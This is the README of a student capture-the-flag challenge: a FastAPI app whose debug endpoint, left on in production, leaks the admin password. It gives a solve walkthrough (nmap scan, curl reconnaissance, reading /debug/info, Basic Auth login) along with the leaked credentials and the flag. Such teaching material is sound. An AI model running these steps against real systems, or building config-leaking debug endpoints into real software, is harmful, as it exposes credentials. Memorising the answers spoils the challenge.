

EthicalHackingCTFChallenge

Andrew Rutherford (S4667646) & Serban Tonie (S4721586)

Challenge Description

In this CTF Challenge we have a FastAPI application that has an admin endpoint protected with Basic Auth. The admin username and password are set in a configuration dictionary in the application. The developers of the application created a debug endpoint so they could easily see what the current configurations are but they were a bit silly and left this endpoint enabled in production. This allowed the hacker to easily find the admin password and access the admin endpoint to retrieve the flag.

Running the Application

The application can be run in two modes: using Docker Compose or in development mode using the UV package manager.

Using Docker Compose

To run the application using Docker Compose, first make sure you have Docker and Docker Compose installed. Then build and run the application with the following commands:

```
docker compose build
docker compose up -d
```

Now it will be running on port 8000.

In development mode

This app is built with the UV package manager. First install the uv package manager. Then to run it in development mode, first install the dependencies:

```
uv sync
```

Then run the application with:

```
uv run fastapi dev main.py
```

The application will be running on port 8000 with hot reload enabled.

Steps to hack it

Here we will go through the steps that a hacker would take to exploit this vulnerability and retrieve the flag.

1. Finding the port

The hacker first needs to find the port that the application is running on. They can do this by using `nmap` to scan the target machine.

```
nmap -p 1-65535 10.10.0.106
```

This will show that port `8000` is open, which is commonly used for web applications.

2. Figuring out what the API is.

```
curl -i http://localhost:8000/
```

This is what the response cookies will be:

```
HTTP/1.1 200 OK
date: Wed, 03 Dec 2025 13:53:33 GMT
server: uvicorn
content-length: 58
content-type: application/json
```

You can see that the server is `uvicorn`, which is a server for Python FastAPI applications. Typing `uvicorn` into Google will lead to many results about FastAPI.

This should give you a hint that the API is built using FastAPI.

3. Finding the `/docs` endpoint

Since the hacker knows that the API is built using FastAPI, they can try to access the automatic documentation endpoint that FastAPI provides.

If they do port forwarding to their local machine they they can access the `/docs` endpoint in their browser at `http://localhost:8000/docs` and get a nice UI.

Ethical Hacking 2025 CTF 6.7.0 OAS 3.1

[/openapi.json](#)

An example FastAPI application with Basic Auth for admin endpoints.

Authorize



default



GET

/ Read Root



GET

/debug/info Debug Info



GET

/admin Read Admin Data



Otherwise they can dump the OpenAPI documentation using curl:

```
curl http://localhost:8000/openapi.json
```

4. Finding the debug endpoint

In the document you will notice that there's a debug info endpoint at `/debug-info`. This endpoint outputs the configuration variables of the application, including the admin password. This was *accidentally* left enabled by the developers. How silly of them!

So the hacker can use curl to access this endpoint:

```
curl http://localhost:8000/debug/info
```

This will return all of the configuration variables, including the admin password:

```
{
  "app_name": "Ethical Hacking 2025 CTF",
  "version": "6.7.0",
  "description": "An example FastAPI application with Basic Auth for admin endpoints.",
}
```

```
"authors":["Serban Tonie","Andrew Rutherford"],
"debug":true,
"admin_user":"admin",
"admin_password":"jhz-tfv1deg5betMAV"
}
```

5. Use the password to access the admin data

Now that the hacker has the admin username and password, they need to notice that it says "Basic Auth" on the documentation. They then need to use Basic Auth to access the admin endpoint at `/admin`.

```
curl -u admin:jhz-tfv1deg5betMAV http://localhost:8000/admin
```

This will produce the following output which contains the flag:

```
{
  "message":"Welcome, admin!",
  "admin_data":"10.10.0.106:EH2025{869ef2ce413a81a376706cd339f59b2a1a83dfd5eacc5a1ad41f2744bb6e0261}"
}
```

And there you have it, the flag is:

```
10.10.0.106:EH2025{869ef2ce413a81a376706cd339f59b2a1a83dfd5eacc5a1ad41f2744bb6e0261}
```